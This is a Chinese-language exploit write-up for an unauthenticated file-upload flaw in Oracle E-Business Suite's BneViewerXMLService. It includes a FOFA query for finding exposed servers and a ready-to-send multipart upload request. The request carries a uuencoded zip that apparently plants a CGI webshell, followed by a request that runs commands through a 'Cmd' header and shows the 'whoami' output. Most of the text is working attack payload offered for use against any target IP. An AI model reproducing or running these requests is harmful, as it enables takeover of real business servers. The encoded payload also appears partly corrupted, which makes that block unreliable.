

O6-1Oracle-E-BusinessSuite软件-文件上传

漏洞描述：

Oracle E-Business Suite 的 Oracle Web Applications Desktop Integrator 接口BneViewerXMLService处存在任意文件上传漏洞，未经身份验证的攻击者通过上传恶意的webshell文件，获取服务器权限。

影响版本：

Oracle Web Applications Desktop Integrator 12.2.3-12.2.11版本

网站图片：



网络测绘：

fofa语法：

FOFA: app="Oracle-E-Business-Suite"

漏洞复现：

payload:

```
POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv

-----WebKitFormBoundaryZsMro0UsAQYLDZGv
Content-Disposition: form-data; name="bne:uueupload"

TRUE
-----WebKitFormBoundaryZsMro0UsAQYLDZGv
Content-Disposition: form-data; name="uploadfilename"; filename="testzuue.zip"
```

```
begin 664 test.zip
M4$!#!0`~~~~~)QQ/%8&2`KJ<0````$``!#`~~~+BXO+BXO+BXO+BXO
M1DU77TAO;64O3W)A8VQE7T5"4RUA<'Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.
M1%=24BYP;'5S92!#1TD["G!R:6YT($-'23HZ:65A9&5R*"M='EP92`]/B`G
M=65X=")P;6%I;B<@*3L*;7D@)6-M9"`)($-'23HZ:'1T<"@G2%144%]#340G
M*3L*(<')I;G0@<WES=65M*"1C;60I.PIE>6ET(#`[4$L!`A0#%~~~~~G'$\
M5@9("NIQ`~~~~<0````$~~~~~*2!~~~~~"XN+RXN+RXN+RXN+RXN
M+T9-5U] (;VUE+T]R86-L95]%0E,M87!P,2]C;VUM;VXO<V-R:7!T<R]T>6M6
>3D174E(N<6Q02P4&~~~~~$``0!Q`~~~T@`~

`end -----WebKitFormBoundaryZsMro0UsAQYLDZGv--
```

效果图:
[image-20240619150055289] (../images/image-20240619150055289.png)
RCE

GET/OA_CGI/FNDWRR.exe HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Cmd: whoami
Accept-Encoding: gzip

Request		Responses	
1 GET /OA_CGI/FNDWRR.exe HTTP/1.1		1 HTTP/1.1 200 OK	
2 Host : 1 7:8000		2 Date: Wed, 29 Jul 2024 08:00:00 GMT	
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15		3 Content-Type: text/html	
4 Cmd: whoami		4 Connection: keep-alive	
5 Accept-Encoding: gzip		5 X-ORACLE-DMS-ENCODING: gzip	
		6 X-Frame-Options: DENY	
		7 X-Content-Type: text/html	
		8 Content-Language: zh-CN	
		9 Content-Length: 233	
		10	
		11 oracle	
		12	